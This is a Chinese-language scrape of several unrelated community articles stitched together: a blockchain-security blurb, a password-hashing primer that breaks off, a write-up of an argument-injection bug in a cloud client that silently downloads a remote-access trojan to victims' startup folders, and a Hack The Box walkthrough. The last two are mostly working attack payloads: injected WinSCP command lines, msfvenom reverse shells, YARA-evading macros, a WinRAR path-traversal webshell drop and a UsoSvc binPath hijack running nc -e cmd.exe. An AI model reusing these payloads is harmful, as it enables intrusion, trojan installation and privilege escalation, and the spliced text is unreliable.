区块链社区非常活跃，人们经常认为，这项技术不仅有效地推动了虚拟货币的发展，而且还加强了现有的安全解决方案，从区块链角度解决了一些安全问题。
列举几个区块链技术的安全用途：
##### 01 更安全的认证机制
根据区块链技术的特性，设备可以以对等的方式识别和交互，而不需要第三方权威。伴随着双重身份验证，伪造数字安全证书成为不可能，使得网络结构具有更好的安全性。比如应用到密码验证服务，物联网设备认证。
##### 02 更安全的数据保护
在基于区块链的系统中，存储的元数据分散在分布式账本中，不能在一个集中点收集，篡改或者删除。其中的数据，具有更好的完整性，可靠性以及不可抵赖性。可以应用到公共数据存储场景，比如产权记录，金融记录。
##### 03 更安全的基础设施
利用区块链分布式特性，可以提供一种分散式平台，通过这种系统，可以访问和利用共享的带宽，这种方式远优于带宽有限的单服务器集中模型。去中心化的平台可以降低DDoS成功的风险，更好的保护基础设施。比如网站，DNS解析服务等。
* * * | 社区文章 |
# 密码哈希：面对开发者的哈希基础知识和破解方法介绍
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://ithare.com/password-hashing-why-and-how/>
译文仅供参考，具体内容表达以及含义原文为准。
**所谓哈希密码，指的是对口令进行一次性的加密处理而形成的杂乱字符串。这个加密的过程被认为是不可逆的，也就是说，从哈希串中是不可能还原出原口令的。**
密码哈希注定就不是一个普通的话题，而现在它也变得越来越流行了。虽然它不是唯一一个能够保证你的联网应用程序安全性的方法，但是它是众多安全保护措施中的一个，每一个有安全意识的开发者都应该考虑这个问题。在这篇文章中，我们将会讨论有关密码哈希的知识，我们会对哈希函数进行讲解，并且告诉大家为什么你所开发的应用程序需要使用密码哈希。
每当我们要讨论安全问题时，大家总会有一个疑问：我们所要防御的安全威胁到底是什么？对于密码哈希而言，答案肯定不会尽如人意：我们正在努力的是－当你网站数据库中存储的所有密码被盗窃之后，我们如何来缓解这类事件给人们带来的影响。通常情况下，如果攻击者成功进入了目标数据库之后，数据库中的许多数据都有可能被盗，而这也是每一个信息安全从业人员的噩梦。
但是，对于开发者来说最重要的一点是，不要忘了在进行软件开发的过程中，还有十几个相关的安全功能也需要加入至程序之中。（例如TLS加密）
对没有进行哈希处理的密码进行攻击
那么，我们现在来讨论一下，如果攻击者已经得到了你的密码数据库，会发生什么事情呢？攻击者能够利用这些数据来做些什么呢？实际上，所有相关的攻击都与恢复出用户密码有关，因为只有当获取到用户的密码之后，攻击者才可以进行下一步操作。
如果你的数据库中存储的是明文形式的密码，那么你就不用挣扎了。攻击者已经获取到了所有的用户密码，他可以开始为所欲为了。这简直太糟糕了。
**尝试1＃：简单的密码哈希**
你可能会认为：“嗨，只要我们使用SHA256算法（或者SHA-3，或者其他的一些安全哈希算法）来对密码进行哈希处理，那么一切问题都不存在了。”如果你这样想的话，那么迟早都会出现问题。然而真实的情况往往会更加的复杂。
比如说，我们将现在的情况更加具体化。当你使用下列形式的哈希函数来对存储的密码进行处理时，会发生什么？
P’=SHA256(P) (*)
其中，P为密码，P’为存储在数据库中的密码。
**字典攻击**
那么，假设攻击者已经获取到了所有存储在数据库中的密码了，而数据库中的密码仅仅使用了SHA256来进行哈希加密，正如我们在上面所列出的公式(*)。那么攻击者能够利用窃取来的密码数据做些什么呢？
首先，他可以获取一个记录了大量常用密码的字典文件，然后利用字典中的密码来依次进行尝试。也就是说，攻击者可以利用SHA256算法来对字典里的密码进行哈希处理，然后与数据库中存储的密码哈希进行对比（这也就是我们所说的“字典攻击”）。
请注意，使用简单的P’=SHA256(P)函数来进行哈希处理，也就意味着相同的“P”值在经过公式计算之后，将会得到相同的“P’”。也就是说，相同的密码在经过哈希处理之后，生成的密码哈希也是相同的。
这样一来，攻击者就可以利用SHA256算法预先对当前所有常用的密码进行哈希处理，然后在攻击者成功获取到了数据库中的数据之后，就可以利用这些预先计算好的密码哈希来进行对比了。相较于没有经过哈希处理的密码而言，密码哈希将会增加攻击者破解密码的难度。因此，对密码进行简单的哈希处理总是比没有进行哈希处理的密码要安全得多，但是这项技术仍然有很大的提升空间。
尝试2#：经过Salted的哈希
对相同的密码进行哈希处理之后，得到的密码哈希是相同的。为了解决这个问题，我们需要对密码哈希进行Salted处理，即“哈希加盐法”。
这种方式的工作机制为：当我们在计算相应“P’”之前，针对每一个用户的密码，我们都会存储一个相应的“S”值（即盐值）。当我们需要将用户密码存入数据库之前，我们需要利用下列公式来进行计算：
P’=SHA256(S||P)
其中，“||”为连接的意思（例如字符串／数据块的级联）。
只要用户的“S”值与其他用户不同，那么即使不同用户使用的是相同的密码，计算出来的密码哈希值也不会相同。所以这也就意味着，攻击者预先计算出的密码哈希将无法使用，字典攻击也就失效了。实际上，我们所介绍的“哈希加盐法”还可以抵御一些其他的“预先计算”攻击，包括所谓的“彩虹表攻击”在内。
而我们需要考虑的另一个问题就是使用什么样的“Salt”。首先，每一个用户所使用的“S”值必须是独一无二的。这也就意味着，如果你所使用的随机“Salt”值足够长，你就不需要检查盐值的唯一性了。
**对哈希函数进行离线暴力破解攻击**
即便是我们在对密码进行哈希处理时加入了“Salt”，并且也仅用了字典密码。攻击者仍然有其他的方法来破解我们的密码数据库。
我所指的就是离线暴力破解攻击，需要注意的是，这种方式与在线暴力破解不同。当攻击者利用在线暴力破解的方式来攻击数据库时，攻击者只需要不断地尝试登录密码即可。但是我们可以设置登录失败次数限制或者密码尝试的时间间隔来防止这类攻击。
为了对密码数据进行离线暴力破解攻击，攻击者首先需要获取到存储了密码的数据库，或者至少是用户密码或者“salt”值的其中之一。在获得了这些信息之后，攻击者就可以利用公式SHA256(S||P)来对这些密码和Salt值进行计算了。如果计算结果能够与“P’”值相匹配，那么攻击也就成功了。在此次计算中所使用的“P”即为用户的真实密码。
**将来会发生什么**
在将来，一切都有可能改变。近期，大量安全研究人员都在寻找一种更加有效的密码哈希处理方法。在不久的将来，研究人员很有可能会提出一种新型的密码哈希算法。如果真的是这样的话，这样的一种新型的哈希算法也许会更加的安全。 | 社区文章 |
（1）、引言
最近测试是国内某知名云服务器供应商，本豪研究一天云客户端找了个命令执行，所以写出来分享一下心得。这里不是二进制溢出方面的，而是通过web相关的漏洞利用的。各位看官可能好奇，通过web类型都漏洞让客户端执行命令？？？
（2）、客户端分析
访问云主机管理地址，下载一个50多兆得客户端。
[
安装后该客户端目录如下
[
在web版主机管理系统里选择一个主机，点击文件传输
[
然后选择一个主机账号
[
弹出来winscp的报错窗口
[
因为我测试主机ip地址是随便写的，所以这里提示网络异常。那么这时候看发送的数据包
[
大家看到是通过浏览器向本地127.0.0.1:28080地址发送http数据包来和客户端通信。
我们用反rootkit工具查看本地得网络端口
[
看到客户端rest-server监听固定的端口28080，当发来文件传输的指令都时候就调用WinSCP。WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。
详细用法可参考```<http://baike.baidu.com/link?url=7jy7OfpC9le0uRFUbS0bKwsgZSkwYoYX1-MlO1QQwYJtQuTbR3tD4XoITcsckeVQGMCQoNVVNN8ODaOIfzgYNq[/code>]
（3）、Java执行命令和命令注入
注意到客户端安装目录有一个error.log文件，打开看一下
[
通过日志信息我们可以得出本地监听28080端口的web服务是jetty二次开发的，最后一行
WinSCP.exe [email protected]@89#340:MD5#[email protected]:22222
使我们点击文件传输后浏览器向本地客户端发送指令，然后客户端执行的功能
后边一串是该主机都配置字符串。注意到日志里exec:字符串，那么客户端通过jetty里执行java然后调用winscp。
注意指令数据包：
GET /connector/json?data=eyd0eXBlJzonc2NwJywndXNlcm5hbWUnOicxMzA3ODA2NjA1NEAxMjcuMC4wLjFAODkjMzQwJywncGFzc3dvcmQnOidNRDUjN2RkNzVjNTVjMGYzYTg0OTY5Y2FjYzVmY2RiYmQ5ODAnLCdzZXJ2ZXInOicxMjMuNTkuNTMuMjAnLCdwb3J0JzonMjIyMjInLCd3aWR0aCc6JzEzNjYnLCdoZWlnaHQnOic3NjgnfQ==&jsoncallback=jQuery111205498347991109811*1464068504557&*=1464068504558 HTTP/1.1
Host: 127.0.0.1:28080
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
DNT: 1
Referer: <http://123.59.53.20/server>
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
参数data是base64编码解码一下：
{'type':'scp','username':'[email protected]@89#340','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1366','height':'768'}
那么error.log里的执行的
[email protected]@89#340:MD5#[email protected]:22222
是通过这个json数据传递过去的。
我们替换成如下
{'type':'scp','username':'"|[email protected]@89#340','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1366','height':'768'}
Base64编码后再次发送
查看error.log，看到改后的参数成功传入
[
可见用户名处可以引入脏数据。那么我们尝试命令注入，执行ipconfig执行结果重定向到c:\ff
{'type':'scp','username':'ipconfig>c:\ff&&[email protected]@89#340','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1366','height':'768'}
看error.log
[
从命令行语法都角度已经完美执行了。但是C盘并没有ff文件。
Java 执行执行命令一般用runtime ，代码如下
[
我们尝试执行
ipconfig&&ping -n 1 localhost
成功报错
[
那么java通过这种方法执行命令无论怎样都不能注入命令，原因是该函数对特殊字符有处理。
[
（4）绕过双引号进行参数注入
命令不能直接注入了，顿时很失落，毕竟研究了那么久，再看看说不定有奇迹呢。
把注意力转移到了winscp上，我们能否控制一些参数达到自己都目的呢。尝试引入参数开关/a -b，大家知道参数一般是这样传递的。
提交如下数据
{'type':'scp','username':'/a -b [email protected]@89#340','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1366','height':'768'}&jsoncallback=jQuery111205498347991109811_1464068504557
我们看error.log
[
看到加了这2个开关后参数winscp的参数又多了个双引号，大家知道双引号括起来就变成一个参数了，这下引入都开关不起作用了。经过反复fuzz，发现用tab替代空格后台程序就不会加双引号了。
[
那么现在参数可控，能不能造成漏洞还要看winscp了。
（5）Winscp高级使用
一般情况下大家都是用winscp的图形界面操作进行ssh文件传输都，其实它还有一些更高级都功能在命令行里。研读了winscp手册，其中<https://winscp.net/eng/docs/guide_automation>
自动化模块阐述了，其可以执行script，script就是一些操作命令放到一个文件里。如myscript.txt
# Connect to SFTP server using a password
open sftp://user:[email protected]/ -hostkey="ssh-rsa 2048 xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx"
# Upload file
put d:\examplefile.txt /home/user/
# Exit WinSCP
Exit
上边的script是把本地d:\examplefile.txt文件复制到远端服务器example.com的/home/user/目录下
执行winscp.com /script=myscript.txt即可。
那么可以通过command 参数指定 script 内容在命令行，用引号括起来每行。
/command "option confirm off" "open root:[email protected]" "put c:\1.txt /tmp/winscp.txt" "exit"
上，到这里我的利用思路是利用winscp注入都参数，复制我们ssh服务上的远控木马（灰鸽子）到本地开机启动项里，目标点击我提供都链接，或者利用插入图片都地方插入攻击链接，木马写入其pc自启动项里，下次开机植入远控。
（6）Scp利用尝试
首先尝试scp协议，因为scp是winscp最本土的协议。发送如下payload
{'type':'scp','username':'/command "open root:[email protected]" "put c:\1.txt" "exit" /log=scp2.log [email protected]@23#283','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1920','height':'1080'}
其中192.168.217.129是我放远控木马的ssh服务器，空格用tab代替。我们加了一个log参数，看客户端安装目录下winscp的log文件scp2.log[
说hostkey 未验证。
查了很多资料发下如下payload可以成功通过scp协议下载文件
"option confirm off" "open root:[email protected] -hostkey=""ssh-rsa 2048 ea:9f:86:e4:5f:56:c6:97:78:9d:4c:c6:ee:c3:20:bc""" "put c:\1.txt /tmp/winscp.txt" "exit" /log=scp4.log
这时候可以复制文件，测试时候换了一台电脑，然后再次用这个payload都时候发现hostkey又变了。查了资料说hostkey会因为重启系统和其他原因变化
<https://support.ssh.com/manuals/server-zos-admin/55/Defining_Server_Host_Key.html
所以这种方法不可靠。Hostkey变了，就得去修改payload。
（7）Ftp传输和猥琐利用
因为winscp还支持ftp，其他都如sftp等都是通过ssl加密的，这里找明文协议。
那么我们启动一个ftp服务器作为payload 服务器，通过python自带的pyftp库，启动ftp都时候当前目录下有个1.exe，是灰鸽子被控端。
[
通过如下poc payload可以把远程ftp 文件下载到本地。
{'type':'scp','username':'/command "open ftp://anonymous:[email protected]" "get 1.exe C:\huigezi.exe" "exit" /log=scp4.log [email protected]@23#283','password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980','server':'123.59.53.20','port':'22222','width':'1920','height':'1080'}
xxxx.iok.las是自己的域名
构造好html文件
[
放到自己web服务器上
目标访问改地址，这时候winscp在后台悄无声息地下载文件
[
我们看ftp服务的输出
[
再看本地winscp的log
[
说明文件成功下载，再看c盘根目录已经多了一个灰鸽子远控
[
实际利用当中我们将木马软件下载到开机启动目录里或直接覆盖掉其他exe文件，达到执行的目的。
[
到这里算完美利用了。这个漏洞总结一句话就是“参数注入，下载恶意程序到指定目录实现自启动”，利用原理类似get型csrf。
另有不周到的地方多多指教。 | 社区文章 |
# HTB-Re 渗透全记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
春节闭门不出，在家刷HTB练习渗透，目前Re这个box已经retired，因此把总结的详细渗透过程发出来。这个box用到了OpenOffice宏后门，Winrar目录穿越和UsoSvc服务提权。最后拿到system权限读flag还折腾了不少，整个过程都值得学习一下。
## Port
root@kali:~/pentest/re# masscan -e tun0 -p1-65535 10.10.10.144 --rate=1000
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2020-01-26 08:03:07 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on 10.10.10.144
Discovered open port 80/tcp on 10.10.10.144
root@kali:~/pentest/re# nmap -sC -sV -oA Re -p80,445 10.10.10.144
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-26 08:06 GMT
Nmap scan report for 10.10.10.144
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Visit reblog.htb
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h01m10s, deviation: 0s, median: 1h01m10s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-01-13 09:09:21
|_ start_date: N/A
扫描只发现了一个http服务和smb共享文件服务
## Blog
根据nmap扫描的提示，直接把域名ip写入hosts
echo -e "10.10.10.144treblog.htb" >> /etc/hosts
访问web，发现是一个blog，有几篇博文需要注意一下。
简要内容就是作者开放了一个ods文件宏后门检测的服务，使用yara进行过滤。
## smb
直接尝试匿名访问smb，发现存在一个叫`malware_dropbox`的共享文件夹。
root@kali:~# smbmap -H 10.10.10.144 -u 'anonymous' -p ''
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.144...
[+] IP: 10.10.10.144:445 Name: 10.10.10.144
Disk Permissions Comment
---- ----------- ------- .
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 InitShutdown
fr--r--r-- 4 Sun Dec 31 19:03:58 1600 lsass
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 ntsvcs
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 scerpc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-334-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 epmapper
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-1c0-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 LSM_API_service
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 eventlog
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-3e4-0
fr--r--r-- 4 Sun Dec 31 19:03:58 1600 wkssvc
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 atsvc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-3a8-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 spoolss
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-680-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 trkwks
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 W32TIME_ALT
fr--r--r-- 4 Sun Dec 31 19:03:58 1600 srvsvc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 vgauth-service
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-24c-0
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2CatalogChangeListener-258-0
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 ROUTER
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PIPE_EVENTROOTCIMV2SCM EVENT PROVIDER
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PSHost.132234368815825955.1856.DefaultAppDomain.powershell
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PSHost.132234368815872644.1884.DefaultAppDomain.powershell
fr--r--r-- 3 Sun Dec 31 19:03:58 1600 efsrpc
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PSHost.132234370425623129.3428.DefaultAppDomain.powershell
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 iisipma879ea91-3bc1-4fb6-89d7-9d62fc5e507f
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 iislogpipec892292b-ab19-499e-bbef-39bdba027ff4
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 S1zLwjQTPA0xOsRWCq9N6MQFkt9b9GCIUZvroK94XUHcG4BhfCfDionXk4R8bvw9fccVl0BHbUaIG4hGK4g9rLbSmGvzCKClSU7FNe66HfCMo4aqTxNFEy
fr--r--r-- 1 Sun Dec 31 19:03:58 1600 CPFATP_3652_v4.0.30319
IPC$ READ ONLY Remote IPC
.
dr--r--r-- 0 Mon Jan 13 20:51:16 2020 .
dr--r--r-- 0 Mon Jan 13 20:51:16 2020 ..
malware_dropbox READ ONLY
此目录虽然扫描发现只有`READ
ONLY`，而实际上是可以上传文件的。随便上传一个文件，发现过1分钟左右就会消失，相信就是上面blog提到的ods文件检测服务入口了。
root@kali:~/pentest/re# smbclient \\10.10.10.144\malware_dropbox
WARNING: The "syslog" option is deprecated
WARNING: The "syslog" option is deprecated
Enter WORKGROUProot's password:
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Tue Jun 18 22:08:36 2019
.. D 0 Tue Jun 18 22:08:36 2019
8247551 blocks of size 4096. 4295441 blocks available
smb: > put Re.xml
putting file Re.xml as Re.xml (3.2 kb/s) (average 2.4 kb/s)
smb: > ls
. D 0 Mon Jan 13 09:26:31 2020
.. D 0 Mon Jan 13 09:26:31 2020
Re.xml A 2410 Mon Jan 13 09:26:31 2020
ls
8247551 blocks of size 4096. 4295440 blocks available
smb: > ls
. D 0 Mon Jan 13 09:26:35 2020
.. D 0 Mon Jan 13 09:26:35 2020
8247551 blocks of size 4096. 4295441 blocks available
smb: >
## ODS
这篇博文里面提及一篇文章：<https://0xdf.gitlab.io/2019/03/27/analyzing-document-macros-with-yara.html> ，里面有生成ods文件的示例，以及提到一个yara过滤规则：
rule metasploit
{
strings:
$getos = "select case getGUIType" nocase wide ascii
$getext = "select case GetOS" nocase wide ascii
$func1 = "Sub OnLoad" nocase wide ascii
$func2 = "Sub Exploit" nocase wide ascii
$func3 = "Function GetOS() as string" nocase wide ascii
$func4 = "Function GetExtName() as string" nocase wide ascii
condition:
(all of ($get*) or 2 of ($func*))
}
这个规则的意思是：匹配到全部$get开头的规则 或者 任意两个$func开头的规则，就无法通过。
use exploit/multi/misc/openoffice_document_macro
set srvhost 10.10.14.220
set srvport 23333
run
[+] msf.odt stored at /root/.msf4/local/msf.odt
按照文章的介绍，可以直接使用metasploit生成一个恶意odt文件，而上面的yara规则明显是针对metasploit的，因此需要修改一下宏脚本进行绕过。
odt文件本质为一个zip压缩包，将生成的msf.odt解压。
修改 `/Basic/Standard/Module1.xml`中的宏脚本，删除多余的`Sub
Exploit`，`GetOS()`和`GetExtName()`
同时，由于不清楚有没有其他过滤规则，因此选择了使用certutil来下载shell.exe，尽量不使用`powershell`反弹脚本。
重新打包，重命名为msf.ods
然后用msfvenom生成一个后门程序shell.exe放在本地。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.220 LPORT=4444 -f exe -i 3 -o shell.exe
开启http服务
python3 -m http.server 23333
msfconsole配置handler进行监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
然后用smbclient把生成的msf.ods恶意文件上传到smb
root@kali:~/pentest/Re# smbclient \\10.10.10.144\malware_dropbox
Enter WORKGROUProot's password:
Try "help" to get a list of possible commands.
smb: > put msf.ods
然后稍等片刻，http服务会提示靶机访问shell.exe，然后shell就会弹回来，到此获取到一个flag。
C:UserslukeDesktop>type user.txt
type user.txt
FE4173xxxxxxxxxxxxx0D9F384D3
## Winrar 目录穿越
查看当前用户的Documents目录，可以看到自动处理ods文件的脚本和过滤规则
Directory of C:UserslukeDocuments
06/18/2019 01:05 PM <DIR> .
06/18/2019 01:05 PM <DIR> ..
01/13/2020 09:16 PM <DIR> malware_dropbox
01/13/2020 09:16 PM <DIR> malware_process
01/13/2020 09:16 PM <DIR> ods
06/18/2019 09:30 PM 1,096 ods.yara
06/18/2019 09:33 PM 1,783 process_samples.ps1
03/13/2019 05:47 PM 1,485,312 yara64.exe
3 File(s) 1,488,191 bytes
5 Dir(s) 17,590,632,448 bytes free
ods.yara
基本上把大部分powershell关键字都过滤，上面用来下载执行后门的方式还是比较稳的。
process_samples.ps1
$process_dir = "C:UserslukeDocumentsmalware_process"
$files_to_analyze = "C:UserslukeDocumentsods"
$yara = "C:UserslukeDocumentsyara64.exe"
$rule = "C:UserslukeDocumentsods.yara"
while($true) {
# Get new samples
move C:UserslukeDocumentsmalware_dropbox* $process_dir
# copy each ods to zip file
Get-ChildItem $process_dir -Filter *.ods |
Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}
Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {
# unzip archive to get access to content
$unzipdir = Join-Path $_.directory $_.Basename
New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir
# yara to look for known malware
$yara_out = & $yara -r $rule $unzipdir
$ods_name = $_.fullname -replace ".zip", ".ods"
if ($yara_out.length -gt 0) {
Remove-Item $ods_name
}
}
# if any ods files left, make sure they launch, and then archive:
$files = ls $process_dir*.ods
if ( $files.length -gt 0) {
# launch ods files
Invoke-Item "C:UserslukeDocumentsmalware_process*.ods"
Start-Sleep -s 5
# kill open office, sleep
Stop-Process -Name soffice*
Start-Sleep -s 5
#& 'C:Program Files (x86)WinRARRar.exe' a -ep $process_dirtemp.rar $process_dir*.ods 2>&1 | Out-Null
Compress-Archive -Path "$process_dir*.ods" -DestinationPath "$process_dirtemp.zip"
$hash = (Get-FileHash -Algorithm MD5 $process_dirtemp.zip).hash
# Upstream processing may expect rars. Rename to .rar
Move-Item -Force -Path $process_dirtemp.zip -Destination $files_to_analyze$hash.rar
}
Remove-Item -Recurse -force -Path $process_dir*
Start-Sleep -s 5
}
留意到脚本最后的部分，脚本会把通过检测的ods进行打包，文件名为md5的hash值，压缩格式为rar，看到rar很容易联想到去年爆出的目录穿越漏洞（CVE-2018-20250），具体可以查看以下这篇文章：
<https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/>
然后查看Program
Files目录，靶机没有安装WinRAR，不过发现有PeaZip，这个软件比较陌生，查了一下存在一个命令注入漏洞：<https://www.rapid7.com/db/modules/exploit/multi/fileformat/peazip_command_injection>
但是靶机安装的版本不在影响范围：
VersionInfo : File: C:Program FilesPeaZippeazip.exe
InternalName: PeaZip
OriginalFilename: PeaZip
FileVersion: 6.7.0
FileDescription: PeaZip, file and archive manager
Product: PeaZip
ProductVersion: 6.7.0
Debug: False
Patched: False
PreRelease: False
PrivateBuild: False
SpecialBuild: False
Language: English (United States)
继续检查peazip的目录，发现这个软件同样有`UNACEV2.DLL`，那么理论上Winrar目录穿越的漏洞在这个软件上同样可行。
Directory: C:Program FilesPeaZipresunace
Mode LastWriteTime Length Name
---- ------------- ------ ---- -a---- 9/1/2007 2:56 PM 601 note_install.txt
-a---- 1/15/2010 12:29 PM 1304 peazip-unace-WIN64.iss
-a---- 1/15/2010 12:27 PM 1269 peazip-unace-WINDOWS.iss
-a---- 6/2/2007 9:41 AM 27136 unace.exe
-a---- 8/26/2005 2:50 AM 77312 UNACEV2.DLL
-a---- 3/20/2019 2:12 PM 1565 unins000.dat
-a---- 3/20/2019 2:11 PM 707354 unins000.exe
使用 <https://github.com/WyAtu/CVE-2018-20250> 的脚本生成rar文件。
需要修改代码如下：
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "shell.exe"
# The decompression path you want, such shown below
target_filename = r"C:C:C:../../../../../../../tmp/kira.exe"
将生成文件放入`C:UserslukeDocumentsods`，注意需要修改文件名为`md5.rar`
certutil.exe -urlcache -split -f http://10.10.14.220:23333/test.rar C:UserslukeDocumentsodsee6ea50adb1d71c85d28d2c56c13e166.rar
然后查看tmp可发现成功写入
Directory: C:tmp
Mode LastWriteTime Length Name
---- ------------- ------ ---- -a---- 2/1/2020 6:54 PM 2109 kira.exe
然后需要思考的是，需要把什么文件写入什么目录，一般的利用思路是将后门程序写入用户的启动项，但是HTB的靶机并不会重启，只会重置，因此这个套路是行不通的。
查看一下写入文件的权限，发现owner是另外一个用户cam，那么猜测执行解压的脚本用户是cam。
get-acl kira.exe|format-list
Path : Microsoft.PowerShell.CoreFileSystem::C:tmpkira.exe
Owner : REcam
Group : RENone
Access : NT AUTHORITYSYSTEM Allow FullControl
BUILTINAdministrators Allow FullControl
BUILTINUsers Allow ReadAndExecute, Synchronize
REcam Allow FullControl
Audit :
Sddl : O:S-1-5-21-311800348-2366743891-1978325779-1002G:S-1-5-21-311800348-2366743891-1978325779-513D:AI(A;ID;FA;;;SY
)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;FA;;;S-1-5-21-311800348-2366743891-1978325779-1002)
回想起有web服务，找一下web的路径看看，发现当前用户是没权限访问，那么cam有可能可以吗？
Directory: C:inetpubwwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ---- d----- 2/1/2020 6:54 PM blog
d----- 3/27/2019 2:10 PM ip
d----- 6/18/2019 10:18 PM re
C:inetpubwwwrootblog
Access is denied.
网上找一个aspx大马，修改一下生成rar的exp
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to runkira
evil_filename = "kira.aspx"
# The decompression path you want, such shown below
target_filename = r"C:C:C:../../../../../../../inetpub/wwwroot/blog/kira.aspx"
成功获取到一个webshell！
分别把webshell写到`ip`和`re`目录，发现有跟`blog`不同的用户权限，其中`iis apppoolre`可以打开根目录`proj_drop`
PS C:> get-acl proj_drop|format-list
Path : Microsoft.PowerShell.CoreFileSystem::C:proj_drop
Owner : BUILTINAdministrators
Group : RENone
Access : CREATOR OWNER Allow FullControl
NT AUTHORITYSYSTEM Allow FullControl
BUILTINAdministrators Allow FullControl
REcoby Allow Modify, Synchronize
REcam Allow FullControl
IIS APPPOOLre Allow ReadAndExecute, Synchronize
IIS APPPOOLre Allow Write, Synchronize
`proj_drop`这个目录比较可疑，放文件进去同样会消失，有可能延续之前的套路，在里面放入合适的文件，触发特定的漏洞，重新查看题目的博客，看看是否有提示。
简单看了一下，作者自己都未能成功利用漏洞，而且环境中并没有发现开放18001端口，（作者有疑似利用题目收exp的嫌疑[震惊]），需要寻找其他思路。
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 448
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 960
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 312
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1656
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 596
## UsoSvc提权
思路断了，这时候需要执行一些辅助脚本进行检测。这里我使用了`PowerUp.ps1`
<https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1>
powershell -ep bypass
Import-Module .PowerUp.ps1
Invoke-AllChecks
脚本回显提示有服务的权限异常
[*] Checking service permissions...
ServiceName : UsoSvc
Path : C:Windowssystem32svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
通过修改UsoSvc服务的binPath，然后重新启动服务即可执行我们的命令
PS C:> sc.exe stop UsoSvc
PS C:> sc.exe config usosvc binPath="C:WindowsSystem32spooldriverscolornc.exe 10.10.14.220 23336 -e cmd.exe"
PS C:> sc.exe qc usosvc
